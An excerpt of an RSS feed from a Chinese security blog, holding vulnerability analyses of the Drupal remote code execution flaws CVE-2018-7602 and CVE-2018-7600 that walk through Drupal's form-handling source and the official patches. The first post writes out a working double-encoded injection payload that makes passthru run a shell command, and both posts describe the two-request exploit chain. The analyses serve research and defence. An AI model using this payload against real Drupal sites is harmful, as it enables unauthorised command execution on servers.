      <pubDate>Thu, 26 Apr 2018 17:21:11 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/cve-2018-7602-drupal-%E5%86%85%E6%A0%B8%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h4 id=&#34;0x01-概述&#34;&gt;0x01 概述&lt;/h4&gt;

&lt;p&gt;4月25日，Drupal官方发布通告，Drupal Core 存在一个远程代码执行漏洞，影响 7.x 和 8.x 版本。据分析，这个漏洞是&lt;code&gt;CVE-2018-7600&lt;/code&gt;的绕过利用，两个漏洞原理是一样的，通告还称，已经发现了这个漏洞和&lt;code&gt;CVE-2018-7600&lt;/code&gt;的在野利用，详情请看 &lt;a href=&#34;https://www.drupal.org/sa-core-2018-004&#34;&gt;https://www.drupal.org/sa-core-2018-004&lt;/a&gt;&lt;/p&gt;

&lt;h4 id=&#34;0x02-影响版本&#34;&gt;0x02 影响版本&lt;/h4&gt;

&lt;p&gt;Drupal 6.x，7.x，8.x&lt;/p&gt;

&lt;p&gt;修复版本
Drupal 7.59，Drupal 8.4.8，Drupal 8.5.3&lt;/p&gt;

&lt;h4 id=&#34;0x03-环境搭建&#34;&gt;0x03 环境搭建&lt;/h4&gt;

&lt;p&gt;历史版本
&lt;a href=&#34;https://www.drupal.org/project/drupal/releases&#34;&gt;https://www.drupal.org/project/drupal/releases&lt;/a&gt;&lt;/p&gt;

&lt;h4 id=&#34;0x04-漏洞分析&#34;&gt;0x04 漏洞分析&lt;/h4&gt;

&lt;p&gt;分析还是以7.57版本为例。跟7600漏洞的7.x版本很相似，只不过入口不一样，可以参考&lt;a href=&#34;http://blog.nsfocus.net/cve-2018-7600-drupal-7-x/&#34;&gt;http://blog.nsfocus.net/cve-2018-7600-drupal-7-x/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;上回漏洞的关键点是让系统缓存一个&lt;code&gt;form_build_id&lt;/code&gt;，这个form存着我们传入的恶意参数，第二个请求从中取出来然后执行。
这次的原理还是一样，触发漏洞还是需要发两个post包，一个存入&lt;code&gt;form_build_id&lt;/code&gt;一个取出后执行。&lt;/p&gt;

&lt;p&gt;这次的问题出在删除文章的时候，因此需要文章删除权限，我们先走一遍正常删除文章的逻辑&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/VGL3Y&#34; alt=&#34;delete&#34; /&gt;
请求中每个node即代表一篇文章。
可以看到是会重定向到文章页面的，根据上个漏洞的分析我们猜测，一定还是走到了&lt;code&gt;drupal_redirect_form()&lt;/code&gt;，我们已经知道如果走到&lt;code&gt;drupal_redirect_form()&lt;/code&gt;分支，是不会往数据库缓存&lt;code&gt;form_build_id&lt;/code&gt;的，我们的目的还是让程序不满足一定条件从而不进行表单提交后重定向，所以还是跟着&lt;code&gt;CVE-2018-7600&lt;/code&gt;的套路来走&lt;/p&gt;

&lt;p&gt;从代码层面看一下&lt;/p&gt;

&lt;p&gt;之前的流程还是一样，直接跳到&lt;code&gt;drupal_build_form()&lt;/code&gt;方法第386行&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;drupal_process_form($form_id, $form, $form_state);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;跟入&lt;code&gt;drupal_process_form()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/w0cQZ&#34; alt=&#34;drupal_process_form&#34; /&gt;
还是一样，&lt;code&gt;$form_state[&#39;submitted&#39;]&lt;/code&gt;被设置为true&lt;/p&gt;

&lt;p&gt;回到902行&lt;/p&gt;

&lt;p&gt;&lt;code&gt;if ($form_state[&#39;submitted&#39;] &amp;amp;&amp;amp; !form_get_errors() &amp;amp;&amp;amp; !$form_state[&#39;rebuild&#39;])&lt;/code&gt;
条件被满足，进入这个分支便会执行&lt;code&gt;drupal_redirect_form()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/aoYne&#34; alt=&#34;drupal_redirect_form&#34; /&gt;&lt;/p&gt;

&lt;p&gt;而在这一步之前需要经过的判断是&lt;code&gt;_form_element_triggered_scripted_submission()&lt;/code&gt;
所以回到一开始的问题，构造一个&lt;code&gt;_triggering_element_value&lt;/code&gt;使得键值对相等，从而不进行rebuild&lt;/p&gt;

&lt;p&gt;我们传入&lt;code&gt;_triggering_element_name=form_id&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/UBCWM&#34; alt=&#34;post&#34; /&gt;
&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/Rbrm4&#34; alt=&#34;form_id&#34; /&gt;
可以看到条件被满足，&lt;code&gt;$form_state[&#39;submitted&#39;]&lt;/code&gt;没有被设置为true，还是保持默认值false&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/UYLtu&#34; alt=&#34;submitted&#34; /&gt;
&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/o98bE&#34; alt=&#34;submitted&#34; /&gt;&lt;/p&gt;

&lt;p&gt;进入&lt;code&gt;drupal_rebuild_form()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/WdeFV&#34; alt=&#34;drupal_rebuild_form&#34; /&gt;
表单被缓存&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/MCCPJ&#34; alt=&#34;form_set_cache&#34; /&gt;
&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/U5Tej&#34; alt=&#34;cache_form&#34; /&gt;&lt;/p&gt;

&lt;p&gt;然后我们发送第二个post包来取出我们构造好的form，向&lt;strong&gt;&lt;code&gt;file/ajax/actions/cancel/%23options/path&lt;/code&gt;&lt;/strong&gt;发起请求&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/voiue&#34; alt=&#34;post2&#34; /&gt;&lt;/p&gt;

&lt;p&gt;参数传递进去&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/luJMk&#34; alt=&#34;file_ajax_upload&#34; /&gt;
最终还是跟入到
&lt;code&gt;$output = drupal_render($form);&lt;/code&gt;
根据前几次的经验，我们还是选择&lt;code&gt;&#39;#post_render&#39;&lt;/code&gt;参数，&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/GV3Rc&#34; alt=&#34;post_render&#34; /&gt;
假如我们能控制这个参数，在&lt;code&gt;drupal_render()&lt;/code&gt;方法里就会把这个参数作为&lt;code&gt;$function&lt;/code&gt;函数名，而传给它的参数则是&lt;code&gt;[%23markup]&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;所以问题回到了一开始，我们需要传递什么样的恶意参数，可以让系统直接接收而不经过过滤，还是之前的套路，搜索module下删除文章的相关操作&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/niMWz&#34; alt=&#34;node_form_delete_submit&#34; /&gt;
可以看到&lt;code&gt;node_form_delete_submit()&lt;/code&gt;方法从get方法直接接收参数&lt;code&gt;destination&lt;/code&gt;，与最初分析正常删除文章的参数正是同一个，那么我们就可以利用&lt;code&gt;destination&lt;/code&gt;传进恶意参数&lt;/p&gt;

&lt;p&gt;构造如下
&lt;strong&gt;&lt;code&gt;destination=a?q[%2523post_render][]=passthru%26q[%2523type]=markup%26q[%2523markup]=dir&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;注意此处需要转义百分号，对&lt;code&gt;#&lt;/code&gt;进行二次编码，以绕过&lt;code&gt;CVE-2018-7600&lt;/code&gt;的补丁，不然在取值时会被认为&lt;code&gt;q[&lt;/code&gt;是一个值&lt;/p&gt;

&lt;p&gt;原因：
&lt;code&gt;includes/common.inc&lt;/code&gt;的&lt;code&gt;drupal_parse_url()&lt;/code&gt;方法对url进行了解析，而在url传入到Drupal内部的时候已经经过一层解码，也就是说&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;destination=a?q[%2523post_render][]=passthru%26q[%2523type]=markup%26q[%2523markup]=dir
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在进入Drupal时已经被解码成&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;destination=a?q[%23post_render][]=passthru%26q[%23type]=markup%26q[%23markup]=dir
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后经过&lt;code&gt;parse_url()&lt;/code&gt;方法对url结构进行解析&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1530254681531.png&#34; alt=&#34;parse_url&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;a&lt;/code&gt;参数是次要的，主要是&lt;code&gt;q&lt;/code&gt;参数，因为在&lt;code&gt;drupal_parse_url()&lt;/code&gt;下半部分从q取出值赋给&lt;code&gt;$options[&#39;path&#39;]&lt;/code&gt;，也就是a被覆盖了，这个时候的&lt;code&gt;$options[&#39;path&#39;]&lt;/code&gt;就是我们传入的数组&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/s4o7s&#34; alt=&#34;options&#34; /&gt;&lt;/p&gt;

&lt;p&gt;参数缓存进整个form后通过第二个请求取出，同样经过&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;foreach ($form_parents as $parent) {
    $form = $form[$parent];
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;遍历叶子节点取出参数&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/Wgz3w&#34; alt=&#34;parent&#34; /&gt;
进入&lt;code&gt;drupal_render()&lt;/code&gt;执行&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/SsmNM&#34; alt=&#34;passthru&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;0x05-poc&#34;&gt;0x05 PoC&lt;/h4&gt;

&lt;p&gt;略&lt;/p&gt;

&lt;h4 id=&#34;0x06-补丁&#34;&gt;0x06 补丁&lt;/h4&gt;

&lt;p&gt;7.x的补丁&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/drupal/drupal/commit/080daa38f265ea28444c540832509a48861587d0&#34;&gt;https://github.com/drupal/drupal/commit/080daa38f265ea28444c540832509a48861587d0&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/2Zhjq&#34; alt=&#34;patch&#34; /&gt;
其中一个重要操作就是对&lt;code&gt;destination&lt;/code&gt;参数进行了净化&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/CaZPF&#34; alt=&#34;cleanDestination&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;0x07-总结&#34;&gt;0x07 总结&lt;/h4&gt;

&lt;p&gt;总的来说这个漏洞是CVE-2018-7600的另一个利用点，只是入口方式不一样，最终执行点还是相同的，所以还是那句话，一旦参数可控并且没有经过正确的过滤，就很有可能出问题。&lt;/p&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>CVE-2018-7600 Drupal 7.x 版本代码执行漏洞分析</title>
      <link>https://kylingit.com/blog/cve-2018-7600-drupal-7.x-%E7%89%88%E6%9C%AC%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Fri, 20 Apr 2018 23:05:34 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/cve-2018-7600-drupal-7.x-%E7%89%88%E6%9C%AC%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h4 id=&#34;0x01-概述&#34;&gt;0x01 概述&lt;/h4&gt;

&lt;p&gt;CVE-2018-7600影响范围包括了Drupal 6.x，7.x，8.x版本，前几天8.x版本的PoC出来之后大家都赶紧分析了一波，然后热度似乎慢慢退去了。两天前&lt;a href=&#34;https://github.com/dreadlocked/Drupalgeddon2&#34;&gt;Drupalgeddon2&lt;/a&gt;项目更新了7.x版本的exp，实际环境也出现了利用，下面就简单来看一下&lt;/p&gt;

&lt;p&gt;看到项目上这样写&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Drupal &amp;lt; 7.58 ~ user/password URL, attacking triggering_element_name form &amp;amp; #post_render parameter, using PHP&amp;rsquo;s passthru function&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;提示了问题出在&lt;code&gt;user/password&lt;/code&gt;路径下，通过&lt;code&gt;#post_render&lt;/code&gt;传递恶意参数，问题出现在&lt;code&gt;triggering_element_name&lt;/code&gt;表单处理下&lt;/p&gt;

&lt;h4 id=&#34;0x02-漏洞分析&#34;&gt;0x02 漏洞分析&lt;/h4&gt;

&lt;p&gt;我们从三个问题入手，为什么PoC发了两个包，第二次请求为什么要带上一个&lt;code&gt;form_build_id&lt;/code&gt;，以及为什么选择&lt;code&gt;user/password&lt;/code&gt;这个入口&lt;/p&gt;

&lt;p&gt;先分析第一个post，照例还是先看一下Drupal 7的表单处理流程，跟8版本不太一样，但是入口还是相似的。
根据文档描述，当我们提交一个表单(例如找回密码)时，系统会通过&lt;code&gt;form_builder()&lt;/code&gt;方法创建一个form
&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/lffx4.jpg&#34; alt=&#34;user/passwd&#34; /&gt;
一系列预处理后，会由&lt;code&gt;drupal_build_form
()&lt;/code&gt;方法创建一个表单，在第386行调用&lt;code&gt;drupal_process_form()&lt;/code&gt;方法，
跟进&lt;code&gt;drupal_process_form()&lt;/code&gt;方法，这时候默认的&lt;code&gt;$form_state[&#39;submitted&#39;]&lt;/code&gt;为false&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/dd7fx.png&#34; alt=&#34;submitted&#34; /&gt;
不满足if条件，&lt;code&gt;$form_state[&#39;submitted&#39;]&lt;/code&gt;被设置为true&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/kqijr.png&#34; alt=&#34;true&#34; /&gt;
于是进入这个分支，最终被&lt;code&gt;drupal_redirect_form&lt;/code&gt;重定向&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/so5l4.jpg&#34; alt=&#34;drupal_redirect_form&#34; /&gt;&lt;/p&gt;

&lt;p&gt;我们的目的是要让系统缓存一个&lt;code&gt;form_build_id&lt;/code&gt;，以便后面拿出来用。要想form被缓存，就得想办法让&lt;code&gt;if ($form_state[&#39;submitted&#39;] &amp;amp;&amp;amp; !form_get_errors() &amp;amp;&amp;amp; !$form_state[&#39;rebuild&#39;])&lt;/code&gt;不成立，也就是说要使&lt;code&gt;$form_state[&#39;submitted&#39;]&lt;/code&gt;为false
从而进入下面的&lt;code&gt;drupal_rebuild_form&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;那么如何让&lt;code&gt;$form_state[&#39;submitted&#39;]&lt;/code&gt;为false呢？&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;includes/form.inc&lt;/code&gt;第886行
&lt;code&gt;$form = form_builder($form_id, $form, $form_state);&lt;/code&gt;
跟进&lt;code&gt;form_builder&lt;/code&gt;方法，第1987行&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;if (!empty($form_state[&#39;triggering_element&#39;][&#39;#executes_submit_callback&#39;])) {
  $form_state[&#39;submitted&#39;] = TRUE;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;当&lt;code&gt;$form_state[&#39;triggering_element&#39;][&#39;#executes_submit_callback&#39;]&lt;/code&gt;存在值的时候就为true，那么我们就想办法让这个值为空
往上看第1972行&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;if (!$form_state[&#39;programmed&#39;] &amp;amp;&amp;amp; !isset($form_state[&#39;triggering_element&#39;]) &amp;amp;&amp;amp; !empty($form_state[&#39;buttons&#39;])) {
  $form_state[&#39;triggering_element&#39;] = $form_state[&#39;buttons&#39;][0];
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果没有设置&lt;code&gt;$form_state[&#39;triggering_element&#39;]&lt;/code&gt;，那么&lt;code&gt;$form_state[&#39;triggering_element&#39;]&lt;/code&gt;就设置为第一个button的值，所以正常传递表单的时候&lt;code&gt;$form_state[&#39;triggering_element&#39;][&#39;#executes_submit_callback&#39;]&lt;/code&gt;就总会有值&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1do73.jpg&#34; alt=&#34;button&#34; /&gt;&lt;/p&gt;

&lt;p&gt;现在问题来了，如何构造一个form能够确保&lt;code&gt;$form_state[&#39;triggering_element&#39;][&#39;#executes_submit_callback&#39;]&lt;/code&gt;为空或者说不存在这个数组呢？&lt;/p&gt;

&lt;p&gt;我们注意到第1864行&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;if (!empty($element[&#39;#input&#39;])) {
  _form_builder_handle_input_element($form_id, $element, $form_state);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;_form_builder_handle_input_element()&lt;/code&gt;方法对表单先进行了处理，跟进去看一下&lt;/p&gt;

&lt;p&gt;第2144行&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;// Determine which element (if any) triggered the submission of the form and
// keep track of all the clickable buttons in the form for
// form_state_values_clean(). Enforce the same input processing restrictions
// as above.
if ($process_input) {
  // Detect if the element triggered the submission via Ajax.
  if (_form_element_triggered_scripted_submission($element, $form_state)) {
    $form_state[&#39;triggering_element&#39;] = $element;
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里&lt;code&gt;$form_state[&#39;triggering_element&#39;]&lt;/code&gt;被设置为&lt;code&gt;$element&lt;/code&gt;，前提是满足&lt;code&gt;_form_element_triggered_scripted_submission()&lt;/code&gt;方法，继续跟入
第2180行&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;function _form_element_triggered_scripted_submission($element, &amp;amp;$form_state) {
  if (!empty($form_state[&#39;input&#39;][&#39;_triggering_element_name&#39;]) &amp;amp;&amp;amp; $element[&#39;#name&#39;] == $form_state[&#39;input&#39;][&#39;_triggering_element_name&#39;]) {
    if (empty($form_state[&#39;input&#39;][&#39;_triggering_element_value&#39;]) || $form_state[&#39;input&#39;][&#39;_triggering_element_value&#39;] == $element[&#39;#value&#39;]) {
      return TRUE;
    }
  }
  return FALSE;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个方法的意思是说如果&lt;code&gt;_triggering_element_value&lt;/code&gt;和&lt;code&gt;$element&lt;/code&gt;的键值都相等的话，返回true
&lt;code&gt;$form_state[&#39;triggering_element&#39;]&lt;/code&gt;赋值为&lt;code&gt;$element&lt;/code&gt;，其中不含&lt;code&gt;[&#39;#executes_submit_callback&#39;]&lt;/code&gt;，一开始的条件就成立了&lt;/p&gt;

&lt;p&gt;根据PoC，我们传入&lt;code&gt;_triggering_element_name=name&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/3c6kh.jpg&#34; alt=&#34;element&#34; /&gt;
看到进入这个分支，进入&lt;code&gt;form_set_cache()&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/cn1jh.jpg&#34; alt=&#34;&#34; /&gt;
&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/lskgu.png&#34; alt=&#34;&#34; /&gt;
数据库中插入缓存&lt;code&gt;form_build_id&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/odfo8.png&#34; alt=&#34;&#34; /&gt;
成功写入缓存&lt;/p&gt;

&lt;p&gt;接下去来看一下这个缓存有什么用&lt;/p&gt;

&lt;p&gt;分析PoC的第二个包，请求参数是这样&lt;code&gt;q=file/ajax/name/%23value/form_build_id&lt;/code&gt;
&lt;code&gt;form_build_id&lt;/code&gt;即我们上一个写入数据库的缓存表单&lt;/p&gt;

&lt;p&gt;首先请求会进入&lt;code&gt;includes/menu.inc&lt;/code&gt;的&lt;code&gt;menu_get_item()&lt;/code&gt;方法，&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;function menu_get_item($path = NULL, $router_item = NULL) {
  $router_items = &amp;amp;drupal_static(__FUNCTION__);
  if (!isset($path)) {
    $path = $_GET[&#39;q&#39;];
  }
  if (isset($router_item)) {
    $router_items[$path] = $router_item;
  }
  if (!isset($router_items[$path])) {
    // Rebuild if we know it&#39;s needed, or if the menu masks are missing which
    // occurs rarely, likely due to a race condition of multiple rebuilds.
    if (variable_get(&#39;menu_rebuild_needed&#39;, FALSE) || !variable_get(&#39;menu_masks&#39;, array())) {
      if (_menu_check_rebuild()) {
        menu_rebuild();
      }
    }
    $original_map = arg(NULL, $path);

    $parts = array_slice($original_map, 0, MENU_MAX_PARTS);
    $ancestors = menu_get_ancestors($parts);
    $router_item = db_query_range(&#39;SELECT * FROM {menu_router} WHERE path IN (:ancestors) ORDER BY fit DESC&#39;, 0, 1, array(&#39;:ancestors&#39; =&amp;gt; $ancestors))-&amp;gt;fetchAssoc();

    if ($router_item) {
      // Allow modules to alter the router item before it is translated and
      // checked for access.
      drupal_alter(&#39;menu_get_item&#39;, $router_item, $path, $original_map);

      $map = _menu_translate($router_item, $original_map);
      $router_item[&#39;original_map&#39;] = $original_map;
      if ($map === FALSE) {
        $router_items[$path] = FALSE;
        return FALSE;
      }
      if ($router_item[&#39;access&#39;]) {
        $router_item[&#39;map&#39;] = $map;
        $router_item[&#39;page_arguments&#39;] = array_merge(menu_unserialize($router_item[&#39;page_arguments&#39;], $map), array_slice($map, $router_item[&#39;number_parts&#39;]));
        $router_item[&#39;theme_arguments&#39;] = array_merge(menu_unserialize($router_item[&#39;theme_arguments&#39;], $map), array_slice($map, $router_item[&#39;number_parts&#39;]));
      }
    }
    $router_items[$path] = $router_item;
  }
  return $router_items[$path];
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;$path&lt;/code&gt;即我们传进去的q参数，经过一系列处理传给&lt;code&gt;menu_get_ancestors()&lt;/code&gt;方法，该方法把path重新组合成一堆router，也就是Drupal处理路由到具体url的传参方式，最终被&lt;code&gt;db_query_range()&lt;/code&gt;带入数据库查询
我们关注查询结果&lt;code&gt;$router_item&lt;/code&gt;的&lt;code&gt;page_callback&lt;/code&gt;值，因为这个值最终会作为参数被带入&lt;code&gt;call_user_func_array()&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;if ($page_callback_result == MENU_SITE_ONLINE) {
  if ($router_item = menu_get_item($path)) {
    if ($router_item[&#39;access&#39;]) {
      if ($router_item[&#39;include_file&#39;]) {
        require_once DRUPAL_ROOT . &#39;/&#39; . $router_item[&#39;include_file&#39;];
      }
      $page_callback_result = call_user_func_array($router_item[&#39;page_callback&#39;], $router_item[&#39;page_arguments&#39;]);
    }
    else {
      $page_callback_result = MENU_ACCESS_DENIED;
    }
  }
  else {
    $page_callback_result = MENU_NOT_FOUND;
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/qvqwz.png&#34; alt=&#34;call_user_func_array&#34; /&gt;
到这里就跟8版本的情况有点类似了&lt;/p&gt;

&lt;p&gt;跟入回调函数&lt;code&gt;file_ajax_upload()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/tij37.jpg&#34; alt=&#34;file_ajax_upload&#34; /&gt;
还是一样，把&lt;code&gt;$form_parents&lt;/code&gt;完整取出赋值给&lt;code&gt;$form&lt;/code&gt;，加上一些前缀后缀后最终进入&lt;code&gt;drupal_render()&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;最终得到执行&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/rpwrs.jpg&#34; alt=&#34;passthru&#34; /&gt;&lt;/p&gt;

&lt;p&gt;到目前为止我们分析清楚了为什么PoC要发两次包，以及第二次请求为什么要带上一个&lt;code&gt;form_build_id&lt;/code&gt;，现在来想一想为什么要请求&lt;code&gt;user/password&lt;/code&gt;这个路径呢？
在user这个module下的&lt;code&gt;user_pass()&lt;/code&gt;方法&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;function user_pass() {
  global $user;

  $form[&#39;name&#39;] = array(
    &#39;#type&#39; =&amp;gt; &#39;textfield&#39;,
    &#39;#title&#39; =&amp;gt; t(&#39;Username or e-mail address&#39;),
    &#39;#size&#39; =&amp;gt; 60,
    &#39;#maxlength&#39; =&amp;gt; max(USERNAME_MAX_LENGTH, EMAIL_MAX_LENGTH),
    &#39;#required&#39; =&amp;gt; TRUE,
    &#39;#default_value&#39; =&amp;gt; isset($_GET[&#39;name&#39;]) ? $_GET[&#39;name&#39;] : &#39;&#39;,
  );
  ...
  return $form;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看到这里是不是感觉跟8版本很相似，&lt;code&gt;#default_value&lt;/code&gt;从get的&lt;code&gt;name&lt;/code&gt;参数里取值，而name可以作为数组传入，它的属性在下面正好可以被利用，一个巧妙的利用链就串起来了。&lt;/p&gt;

&lt;h4 id=&#34;0x03-总结&#34;&gt;0x03 总结&lt;/h4&gt;

&lt;p&gt;Drupal 7.x的利用比8.x要复杂一些，但触发点和一开始的风险因素还是类似的，一是接收参数过滤不当，而是可控参数进入危险方法。官方补丁把入口处的&lt;code&gt;#&lt;/code&gt;全给过滤了，简单粗暴又有效，估计再利用框架本身的特性想传递进一些数组或元素就很难了。&lt;/p&gt;

&lt;h4 id=&#34;0x04-参考&#34;&gt;0x04 参考&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/dreadlocked/Drupalgeddon2&#34;&gt;https://github.com/dreadlocked/Drupalgeddon2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://research.checkpoint.com/uncovering-drupalgeddon-2/&#34;&gt;https://research.checkpoint.com/uncovering-drupalgeddon-2/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>CVE-2018-7600 Drupal 内核远程代码执行漏洞分析</title>
      <link>https://kylingit.com/blog/cve-2018-7600-drupal-%E5%86%85%E6%A0%B8%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Fri, 13 Apr 2018 23:05:34 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/cve-2018-7600-drupal-%E5%86%85%E6%A0%B8%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h4 id=&#34;0x01-概述&#34;&gt;0x01 概述&lt;/h4&gt;

&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/sa-core-2018-002&#34;&gt;https://www.drupal.org/sa-core-2018-002&lt;/a&gt;&lt;/p&gt;

&lt;h4 id=&#34;0x02-影响版本&#34;&gt;0x02 影响版本&lt;/h4&gt;

&lt;p&gt;Drupal 6.x，7.x，8.x&lt;/p&gt;

&lt;p&gt;修复版本
Drupal 7.58，Drupal 8.5.1&lt;/p&gt;

&lt;h4 id=&#34;0x03-环境搭建&#34;&gt;0x03 环境搭建&lt;/h4&gt;

&lt;p&gt;历史版本
&lt;a href=&#34;https://www.drupal.org/project/drupal/releases&#34;&gt;https://www.drupal.org/project/drupal/releases&lt;/a&gt;&lt;/p&gt;

